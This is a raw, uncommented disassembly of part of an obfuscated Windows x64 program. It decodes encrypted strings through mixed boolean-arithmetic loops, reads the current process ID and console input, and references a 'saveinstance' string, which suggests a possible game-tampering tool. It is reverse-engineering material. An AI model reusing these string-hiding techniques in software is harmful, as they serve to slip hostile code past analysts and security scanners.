mov dword [rbp + 0x78], 0xdfe3dcd8
mov dword [rbp + 0x7c], 0xa89cf9fa
mov dword [rbp + 0x80], 0x83fcb0a4
mov dword [rbp + 0x84], 0x808ed583
mov dword [rbp + 0x88], 0xd28589d0
mov dword [rbp + 0x8c], 0x9d9398cc
mov dword [rbp + 0x90], 0x82839b9a
mov dword [rbp + 0x94], 0x9fe5c58d
mov dword [rbp + 0x98], 0x8f919892
mov dword [rbp + 0x9c], 0xfeaddca9
mov dword [rbp + 0xa0], 0x8cb8cedc
mov dword [rbp + 0xa4], 0xd3d09c88
mov dword [rbp + 0xa8], 0x869e89c7
mov word [rbp + 0xac], 0xcb98
mov byte [rbp + 0xae], sendto
xor eax, eax
mov qword [rbp + 0xaf], rax
mov dword [rbp + 0xb7], eax
mov word [rbp + 0xbb], ax
mov byte [rbp + 0xbd], al
mov qword [rsp + 0x50], rdi
mov rax, qword [rsp + 0x50]
movabs r9, 0x939bab6009a237a4
nop dword [rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax - 0x20]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x7c
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax - 0x20], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0xde
jb 0x1400f7260
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x1930]
call fcn.1400fdca0
lea rcx, [rbp + 0x1930]
call fcn.1400fc1d0
mov dword [rbp + 0x220], 0xf7fa005a
mov dword [rbp + 0x224], 0x47fbe509
mov dword [rbp + 0x228], 0xf7fb04fe
mov dword [rbp + 0x22c], 0xbfcafdfd
mov dword [rbp + 0x230], 0x17150012
mov dword [rbp + 0x234], 0xb71a17f9
mov dword [rbp + 0x238], 0xb30f0d18
mov dword [rbp + 0x23c], 0x141d1f00
mov dword [rbp + 0x240], 0xab1fec02
mov dword [rbp + 0x244], 0x12a6071b
mov dword [rbp + 0x248], 0xe20f17e5
mov dword [rbp + 0x24c], 0x9f371514
mov dword [rbp + 0x250], 0x29312e20
mov dword [rbp + 0x254], 0x2bd72a2c
mov dword [rbp + 0x258], 0x2e2a3994
mov dword [rbp + 0x25c], 0x23cf2590
mov dword [rbp + 0x260], 0x8b262231
mov dword [rbp + 0x264], 0x3a323426
mov dword [rbp + 0x268], 0x833f2ac5
mov dword [rbp + 0x26c], 0x4a4d2f3a
mov dword [rbp + 0x270], 0x575645ea
mov dword [rbp + 0x274], 0x84905648
mov dword [rbp + 0x278], 0x5f4b4e87
mov dword [rbp + 0x27c], 0x9d505c48
mov dword [rbp + 0x280], 0x985f5e53
mov dword [rbp + 0x284], 0x53585aa6
mov dword [rbp + 0x288], 0xbf974d57
mov dword [rbp + 0x28c], 0xac714b5d
mov dword [rbp + 0x290], 0x69619c69
mov dword [rbp + 0x294], 0x65a37675
mov dword [rbp + 0x298], 0x7f6a6e6d
mov dword [rbp + 0x29c], 0xbda17ba5
mov word [rbp + 0x2a0], 0xdbda
mov byte [rbp + 0x2a2], 0xea
xorps xmm0, xmm0
movups xmmword [rbp + 0x2a3], xmm0
mov qword [rsp + 0x50], rdi
mov rax, qword [rsp + 0x50]
movabs r9, 0x185591efa34edd72
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x220]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x1e
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x220], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x93
jb 0x1400f7434
lea rcx, [rbp + 0x220]
call fcn.1400f2b40
mov dword [rbp + 0x450], 0x7e736d1a
mov dword [rbp + 0x454], 0x7b6b7f22
mov dword [rbp + 0x458], 0x60716265
mov dword [rbp + 0x45c], 0x6567642a
mov dword [rbp + 0x460], 0x6e607a36
mov dword [rbp + 0x464], 0x747e3163
mov dword [rbp + 0x468], 0x606d773e
mov dword [rbp + 0x46c], 0x10387568
mov dword [rbp + 0x470], 0xb184514
mov dword [rbp + 0x474], 0x1e0a4109
mov dword [rbp + 0x478], 0x1507011a
mov dword [rbp + 0x47c], 0x1b1a124a
mov dword [rbp + 0x480], 0x5d540b1d
mov dword [rbp + 0x484], 0xd09001e
mov dword [rbp + 0x488], 0x17130c0a
mov dword [rbp + 0x48c], 0x34041148
mov dword [rbp + 0x490], 0x95926b32
mov byte [rbp + 0x494], 0x82
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x495], xmm0
mov qword [rbp + 0x4a5], rax
mov word [rbp + 0x4ad], ax
mov qword [rsp + 0x50], rdi
mov rax, qword [rsp + 0x50]
movabs r9, 0xfe9d6a45b52e3ba1
nop
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x450]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x67
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x450], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x5f
jb 0x1400f7570
lea rcx, [rbp + 0x450]
call fcn.1400f2b40
mov dword [rbp + 0x690], 0x70677310
mov dword [rbp + 0x694], 0x69672577
mov dword [rbp + 0x698], 0x7e682971
mov dword [rbp + 0x69c], 0x61617978
mov dword [rbp + 0x6a0], 0x337d6530
mov dword [rbp + 0x6a4], 0x64797977
mov dword [rbp + 0x6a8], 0x736e397d
mov dword [rbp + 0x6ac], 0x6f6b3d79
mov dword [rbp + 0x6b0], 0x6160004
mov dword [rbp + 0x6b4], 0x49484b16
mov word [rbp + 0x6b8], 0xa9a2
xor eax, eax
mov qword [rbp + 0x6ba], rax
mov qword [rsp + 0x50], rdi
mov rax, qword [rsp + 0x50]
movabs r9, 0x77c9d3ebc8e6cd20
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x690]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x20
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x690], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x32
jb 0x1400f7654
lea rcx, [rbp + 0x690]
call fcn.1400f2b40
call qword [sym.imp.api_ms_win_crt_conio_l1_1_0.dll__getch]
nop
lea rcx, [rbp + 0x19d8]
call fcn.1400fc210
lea rcx, [rbp + 0x19d8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1650]
call fcn.1400f1dd0
jmp 0x1400fac21
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebx, eax
mov ecx, eax
call fcn.1400f0b10
mov ecx, ebx
call fcn.1400f0d30
lea rdx, str.e_0m_n_n
lea rcx, [rbp + 0x1118]
call fcn.1400f1e70
mov rdx, rax
movzx ecx, byte [rax]
sub cl, 0x4f
xor cl, 0x87
mov byte [rbp - 0x80], cl
movzx ecx, byte [rax + 1]
sub cl, 0x4f
xor cl, 0x88
mov byte [rbp - 0x7f], cl
movzx ecx, byte [rax + 2]
sub cl, 0x4f
xor cl, 0x89
mov byte [rbp - 0x7e], cl
movzx eax, byte [rax + 3]
sub al, 0x4f
xor al, 0x8a
mov byte [rbp - 0x7d], al
movzx eax, byte [rdx + 4]
sub al, 0x4f
xor al, 0x8b
mov byte [rbp - 0x7c], al
movzx eax, byte [rdx + 5]
sub al, 0x4f
xor al, 0x8c
mov byte [rbp - 0x7b], al
movzx eax, byte [rdx + 6]
sub al, 0x4f
xor al, 0x8d
mov byte [rbp - 0x7a], al
movzx eax, byte [rdx + 7]
sub al, 0x4f
xor al, 0x8e
mov byte [rbp - 0x79], al
movzx eax, byte [rdx + 8]
sub al, 0x4f
xor al, 0x8f
mov byte [rbp - 0x78], al
movzx eax, byte [rdx + 9]
sub al, 0x4f
xor al, 0x90
mov byte [rbp - 0x77], al
movzx eax, byte [rdx + 0xa]
sub al, 0x4f
xor al, 0x91
mov byte [rbp - 0x76], al
movzx eax, byte [rdx + 0xb]
sub al, 0x4f
xor al, 0x92
mov byte [rbp - 0x75], al
movzx eax, byte [rdx + 0xc]
sub al, 0x4f
xor al, 0x93
mov byte [rbp - 0x74], al
movzx eax, byte [rdx + 0xd]
sub al, 0x4f
xor al, 0x94
mov byte [rbp - 0x73], al
movzx eax, byte [rdx + 0xe]
sub al, 0x4f
xor al, 0x95
mov byte [rbp - 0x72], al
movzx eax, byte [rdx + 0xf]
sub al, 0x4f
xor al, 0x96
mov byte [rbp - 0x71], al
movzx eax, byte [rdx + 0x10]
sub al, 0x4f
xor al, 0x97
mov byte [rbp - 0x70], al
movzx eax, byte [rdx + 0x11]
sub al, 0x4f
xor al, 0x98
mov byte [rbp - 0x6f], al
movzx eax, byte [rdx + 0x12]
sub al, 0x4f
xor al, 0x99
mov byte [rbp - 0x6e], al
movzx eax, byte [rdx + 0x13]
sub al, 0x4f
xor al, 0x9a
mov byte [rbp - 0x6d], al
movzx eax, byte [rdx + 0x14]
sub al, 0x4f
xor al, 0x9b
mov byte [rbp - 0x6c], al
movzx eax, byte [rdx + 0x15]
sub al, 0x4f
xor al, 0x9c
mov byte [rbp - 0x6b], al
movzx eax, byte [rdx + 0x16]
sub al, 0x4f
xor al, 0x9d
mov byte [rbp - 0x6a], al
movzx eax, byte [rdx + 0x17]
sub al, 0x4f
xor al, 0x9e
mov byte [rbp - 0x69], al
movzx eax, byte [rdx + 0x18]
sub al, 0x4f
xor al, 0x9f
mov byte [rbp - 0x68], al
movzx eax, byte [rdx + 0x19]
sub al, 0x4f
xor al, 0xa0
mov byte [rbp - 0x67], al
movzx eax, byte [rdx + 0x1a]
sub al, 0x4f
xor al, 0xa1
mov byte [rbp - 0x66], al
movzx eax, byte [rdx + 0x1b]
sub al, 0x4f
xor al, 0xa2
mov byte [rbp - 0x65], al
movzx eax, byte [rdx + 0x1c]
sub al, 0x4f
xor al, 0xa3
mov byte [rbp - 0x64], al
movzx eax, byte [rdx + 0x1d]
sub al, 0x4f
xor al, 0xa4
mov byte [rbp - 0x63], al
movzx eax, byte [rdx + 0x1e]
sub al, 0x4f
xor al, 0xa5
mov byte [rbp - 0x62], al
movzx eax, byte [rdx + 0x1f]
sub al, 0x4f
xor al, 0xa6
mov byte [rbp - 0x61], al
mov rcx, rdx
call fcn.1400f1dd0
xor r14d, r14d
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
movabs r9, 0xdbc4c9cce2cb8a87
mov r8, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax - 0x80]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
add cl, 0x4f
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax - 0x80], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x20
jb 0x1400f7890
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0xfb8]
call fcn.1400fce60
nop
mov dword [rbp + 0xcb0], 0x83a2a7a0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xcb4], xmm0
mov dword [rbp + 0xcc4], eax
mov byte [rbp + 0xcc8], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
movabs r9, 0x1276934ba9e07bc0
nop dword [rax]
mov r8, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0xcb0]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
sub cl, 0x40
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0xcb0], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x19
jb 0x1400f7920
lea rdx, str.e_1_36msaveinstance_by
lea rcx, [rbp + 0x1138]
call fcn.1400f1e70
mov rdx, rax
movzx ecx, byte [rax]
sub cl, 0x38
xor cl, 0xf8
mov byte [rbp + 0x4e0], cl
movzx ecx, byte [rax + 1]
sub cl, 0x38
xor cl, 0xf9
mov byte [rbp + 0x4e1], cl
movzx ecx, byte [rax + 2]
sub cl, 0x38
xor cl, 0xfa
mov byte [rbp + 0x4e2], cl
movzx eax, byte [rax + 3]
sub al, 0x38
xor al, 0xfb
mov byte [rbp + 0x4e3], al
movzx eax, byte [rdx + 4]
sub al, 0x38
xor al, 0xfc
mov byte [rbp + 0x4e4], al
movzx eax, byte [rdx + 5]
sub al, 0x38
xor al, 0xfd
mov byte [rbp + 0x4e5], al
movzx eax, byte [rdx + 6]
sub al, 0x38
xor al, 0xfe
mov byte [rbp + 0x4e6], al
mov eax, gethostname
sub al, byte [rdx + 7]
mov byte [rbp + 0x4e7], al
movzx eax, byte [rdx + 8]
sub al, 0x38
mov byte [rbp + 0x4e8], al
movzx eax, byte [rdx + 9]
sub al, 0x38
xor al, 1
mov byte [rbp + 0x4e9], al
movzx eax, byte [rdx + 0xa]
sub al, 0x38
xor al, 2
mov byte [rbp + 0x4ea], al
movzx eax, byte [rdx + 0xb]
sub al, 0x38
xor al, 3
mov byte [rbp + 0x4eb], al
movzx eax, byte [rdx + 0xc]
sub al, 0x38
xor al, 4
mov byte [rbp + 0x4ec], al
movzx eax, byte [rdx + 0xd]
sub al, 0x38
xor al, 5
mov byte [rbp + 0x4ed], al
movzx eax, byte [rdx + 0xe]
sub al, 0x38
xor al, 6
mov byte [rbp + 0x4ee], al
movzx eax, byte [rdx + 0xf]
sub al, 0x38
xor al, 7
mov byte [rbp + 0x4ef], al
movzx eax, byte [rdx + 0x10]
sub al, 0x38
xor al, 8
mov byte [rbp + 0x4f0], al
movzx eax, byte [rdx + 0x11]
sub al, 0x38
xor al, 9
mov byte [rbp + 0x4f1], al
movzx eax, byte [rdx + 0x12]
sub al, 0x38
xor al, 0xa
mov byte [rbp + 0x4f2], al
movzx eax, byte [rdx + 0x13]
sub al, 0x38
xor al, 0xb
mov byte [rbp + 0x4f3], al
movzx eax, byte [rdx + 0x14]
sub al, 0x38
xor al, 0xc
mov byte [rbp + 0x4f4], al
movzx eax, byte [rdx + 0x15]
sub al, 0x38
xor al, 0xd
mov byte [rbp + 0x4f5], al
movzx eax, byte [rdx + 0x16]
sub al, 0x38
xor al, 0xe
mov byte [rbp + 0x4f6], al
movzx eax, byte [rdx + 0x17]
sub al, 0x38
xor al, 0xf
mov byte [rbp + 0x4f7], al
movzx eax, byte [rdx + 0x18]
sub al, 0x38
xor al, 0x10
mov byte [rbp + 0x4f8], al
movzx eax, byte [rdx + 0x19]
sub al, 0x38
xor al, 0x11
mov byte [rbp + 0x4f9], al
movzx eax, byte [rdx + 0x1a]
sub al, 0x38
xor al, 0x12
mov byte [rbp + 0x4fa], al
movzx eax, byte [rdx + 0x1b]
sub al, 0x38
xor al, 0x13
mov byte [rbp + 0x4fb], al
movzx eax, byte [rdx + 0x1c]
sub al, 0x38
xor al, 0x14
mov byte [rbp + 0x4fc], al
movzx eax, byte [rdx + 0x1d]
sub al, 0x38
xor al, 0x15
mov byte [rbp + 0x4fd], al
movzx eax, byte [rdx + 0x1e]
sub al, 0x38
xor al, 0x16
mov byte [rbp + 0x4fe], al
movzx eax, byte [rdx + 0x1f]
sub al, 0x38
xor al, 0x17
mov byte [rbp + 0x4ff], al
xor eax, eax
mov qword [rbp + 0x500], rax
mov word [rbp + 0x508], ax
mov rcx, rdx
call fcn.1400f1dd0
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
movabs r9, 0x1335b1ca51efeff8
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x4e0]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x38
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x4e0], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x2a
jb 0x1400f7b70
lea rdx, [rbp + 0x4e0]
lea rcx, [rbp + 0xf98]
call fcn.1400fce60
nop
lea r8, [rbp + 0x14d0]
lea rdx, [rbp + 0xf98]
lea rcx, [rbp + 0x11b8]
call fcn.1400f2110
nop
lea rcx, [rbp + 0xcb0]
mov r8, r12
nop word [rax + rax]
inc r8
cmp byte [rcx + r8], 0
jne 0x1400f7c00
lea rdx, [rbp + 0xcb0]
mov rcx, rax
call fcn.1400f2070
mov rdx, rax
lea rcx, [rbp + 0xf78]
call fcn.1400f1e40
nop
lea r8, [rbp + 0x14f0]
lea rdx, [rbp + 0xf78]
lea rcx, [rbp + 0x1198]
call fcn.1400f2270
nop
lea r8, [rbp + 0xfb8]
mov rdx, rax
lea rcx, [rbp + 0x1158]
call fcn.1400f2270
mov rcx, rax
call fcn.1400f1dc0
mov rcx, rax
call fcn.1400f2b40
lea rcx, [rbp + 0x1158]
call fcn.1400f1dd0
nop
lea rcx, [rbp + 0x1198]
call fcn.1400f1dd0
nop
lea rcx, [rbp + 0xf78]
call fcn.1400f1dd0
nop
lea rcx, [rbp + 0x11b8]
call fcn.1400f1dd0
nop
lea rcx, [rbp + 0xf98]
call fcn.1400f1dd0
nop
lea rcx, [rbp + 0xfb8]
call fcn.1400f1dd0
mov dword [rbp + 0x8d0], 0x909c929e
mov dword [rbp + 0x8d4], 0x8fdc9494
mov dword [rbp + 0x8d8], 0xa4a5b08c
mov dword [rbp + 0x8dc], 0xafe4b0b7
mov dword [rbp + 0x8e0], 0xa7aca7a5
mov word [rbp + 0x8e4], 0x7ad
mov byte [rbp + 0x8e6], listen
xor eax, eax
mov qword [rbp + 0x8e7], rax
mov word [rbp + 0x8ef], ax
mov byte [rbp + 0x8f1], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
movabs r9, 0x1f779bc22c51dd7
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x8d0]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x1f
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x8d0], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x22
jb 0x1400f7d23
lea rcx, [rbp + 0x8d0]
call fcn.1400f2b40
mov dword [rbp + 0x420], 0x102bf233
mov dword [rbp + 0x424], 0xefe32727
mov dword [rbp + 0x428], 0xe332ede9
mov dword [rbp + 0x42c], 0x120d1a1e
mov dword [rbp + 0x430], 0x13ca1a1b
mov dword [rbp + 0x434], 0x131a1305
mov dword [rbp + 0x438], 0xd309ca1d
mov dword [rbp + 0x43c], 0xbfa4a709
xor eax, eax
mov dword [rbp + 0x440], eax
mov word [rbp + 0x444], ax
mov byte [rbp + 0x446], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
movabs r9, 0xd5fa8850983cd674
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x420]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x2c
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x420], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x27
jb 0x1400f7df6
lea rcx, [rbp + 0x420]
call fcn.1400f2b40
xorps xmm0, xmm0
xor eax, eax
cmp qword [rbp + 0x13d0], rax
jne 0x1400f89ea
mov dword [rbp + 0x960], 0x80878983
mov dword [rbp + 0x964], 0x80888c8f
mov dword [rbp + 0x968], 0x82868a48
mov dword [rbp + 0x96c], 0x4ffa8389
mov dword [rbp + 0x970], 0xfb81f0f8
mov word [rbp + 0x974], 0x151e
movups xmmword [rbp + 0x976], xmm0
mov dword [rbp + 0x986], eax
mov word [rbp + 0x98a], ax
mov byte [rbp + 0x98c], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
movabs r9, 0xa6eeea4bec392ab0
nop dword [rax + rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x960]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x30
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x960], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x2d
jb 0x1400f7ed0
lea rcx, [rbp + 0x960]
call fcn.1400f2b40
mov dword [rbp + 0x2f0], 0x9ba0a1ae
mov dword [rbp + 0x2f4], 0xded9a79f
mov dword [rbp + 0x2f8], 0xd1658a98
mov dword [rbp + 0x2fc], 0x9f949e9b
mov dword [rbp + 0x300], 0x8e6f836d
mov dword [rbp + 0x304], 0x8e9d8f81
mov dword [rbp + 0x308], 0x8187898c
mov dword [rbp + 0x30c], 0x8695c386
mov dword [rbp + 0x310], 0x7aa2c485
mov dword [rbp + 0x314], 0x8779756c
mov dword [rbp + 0x318], 0x8977493d
mov dword [rbp + 0x31c], 0x60733077
mov dword [rbp + 0x320], 0x6e8f777f
mov dword [rbp + 0x324], 0x66676b29
mov dword [rbp + 0x328], 0x992f6966
mov dword [rbp + 0x32c], 0x70632027
mov dword [rbp + 0x330], 0x53256769
mov dword [rbp + 0x334], 0x2f505c4d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x338], xmm0
mov dword [rbp + 0x348], eax
mov word [rbp + 0x34c], ax
mov byte [rbp + 0x34e], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
movabs r9, 0x47f8fc488511ff5d
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x2f0]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x75
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x2f0], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x5f
jb 0x1400f8011
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x11d8]
call fcn.1400f1e70
mov rdx, rax
lea rcx, [rbp + 0x1430]
call fcn.1400f5760
nop
lea rdx, [rbp + 0xdd0]
lea rcx, [rbp + 0x1430]
call fcn.1400fcca0
mov rdi, qword [rax]
lea rdx, [rbp + 0xdd8]
lea rcx, [rbp + 0x1430]
call fcn.1400fcca0
mov rbx, qword [rax]
lea rdx, [rbp + 0xe30]
lea rcx, [rbp + 0x1430]
call fcn.1400fccc0
movzx r9d, byte [rsp + 0x59]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0xde0]
call fcn.1400fdf80
mov r9, rdi
mov r8, qword [rax]
lea rdx, [rbp + 0xde8]
lea rcx, [rbp + 0x1430]
call fcn.1400fcce0
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x1820]
call fcn.1401a88dc
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x20]
mov rdx, qword [rsi]
lea rcx, [rbp + 0x1820]
call fcn.1400fb550
nop
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0x1720]
call fcn.1401a88dc
mov edx, 1
lea rcx, [rbp + 0x1720]
call fcn.1400fb3d0
nop
lea rdx, [rbp + 0x1830]
lea rcx, [rbp + 0x1730]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
lea rdx, [rbp + 0x1670]
lea rcx, [rbp + 0x1738]
call fcn.1400fd4a0
nop
lea rcx, [rbp + 0x16b0]
call fcn.14011bee0
lea rdx, [rbp + 0x1670]
lea rcx, [rbp + 0x16b0]
call fcn.14011bf30
lea rcx, [rbp + 0x16b0]
call fcn.14011c1e0
lea rdx, [rbp + 0x11f8]
lea rcx, [rbp + 0x16b0]
call fcn.14011c2a0
lea rdx, [rbp + 0x11f8]
lea rcx, [rbp + 0x1630]
call fcn.14011c300
nop
lea rdx, [rbp + 0x1430]
lea rcx, [rbp + 0x1630]
call fcn.1400fec40
test al, al
jne 0x1400f8890
mov dword [rbp + 0x590], 0x603387b
mov dword [rbp + 0x594], 0xc4db1c1f
mov dword [rbp + 0x598], 0xd72b29de
mov dword [rbp + 0x59c], 0xdc2461d9
mov dword [rbp + 0x5a0], 0xef21ded2
mov dword [rbp + 0x5a4], 0xf6461de1
mov dword [rbp + 0x5a8], 0x17e0f6ef
mov dword [rbp + 0x5ac], 0xfce1fe52
mov dword [rbp + 0x5b0], 0xf6ebe956
mov dword [rbp + 0x5b4], 0xfefc49f1
mov dword [rbp + 0x5b8], 0x7fce64e
mov dword [rbp + 0x5bc], 0x47fbf505
mov dword [rbp + 0x5c0], 0xdaedf4f4
mov dword [rbp + 0x5c4], 0xce17c1ba
mov dword [rbp + 0x5c8], 0xb3d2c20c
mov dword [rbp + 0x5cc], 0x4c0fcbf
mov byte [rbp + 0x5d0], __WSAFDIsSet
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x5d1], xmm0
mov qword [rbp + 0x5e1], rax
mov word [rbp + 0x5e9], ax
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
movabs r9, 0x58c57bacf4961dcd
nop dword [rax + rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x590]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x65
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x590], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x5b
jb 0x1400f82c0
lea rcx, [rbp + 0x590]
call fcn.1400f2b40
movzx edx, byte [rsp + 0x59]
lea rcx, [rbp + 0x1530]
call fcn.1400f22f0
lea rcx, [rbp + 0x1530]
call fcn.1400f1ed0
nop
lea rdx, [rbp + 0x1530]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400fe030
xor edx, edx
lea rcx, [rbp + 0x1530]
call fcn.1400fca90
movsx ecx, byte [rax]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov r9d, eax
mov byte [rbp + 0xdb0], 0xcd
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xdb1], xmm0
mov word [rbp + 0xdc1], ax
mov qword [rsp + 0x50], r14
mov rcx, qword [rsp + 0x50]
movabs r10, 0xe86c8c7fb5c575f7
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0xdb0]
add rcx, r10
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x3f
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0xdb0], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x13
jb 0x1400f8393
cmp r9b, byte [rbp + 0xdb0]
jne 0x1400f87de
lea rcx, [rbp + 0x1218]
call fcn.1400f4ae0
nop
lea r8, [rbp - 0x3d]
lea rdx, [rbp + 0x15b0]
mov rcx, rax
call fcn.1400fd970
nop
lea rcx, [rbp + 0x1218]
call fcn.1400f3920
lea rdx, [0x140240cab]
lea rcx, [rbp + 0x15b0]
call fcn.1400fe070
test al, al
jne 0x1400f87cd
mov dword [rbp + 0xb40], 0x41787868
mov dword [rbp + 0xb44], 0x774b6a07
mov dword [rbp + 0xb48], 0x7e4e6478
mov dword [rbp + 0xb4c], 0x5763334e
mov word [rbp + 0xb50], 0xdd61
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb52], xmm0
mov qword [rbp + 0xb62], rax
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
movabs r9, 0x3067d4d8d55ec2a2
nop
mov r8, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0xb40]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
sub cl, 0x6e
mov rax, qword [rsp + 0x50]
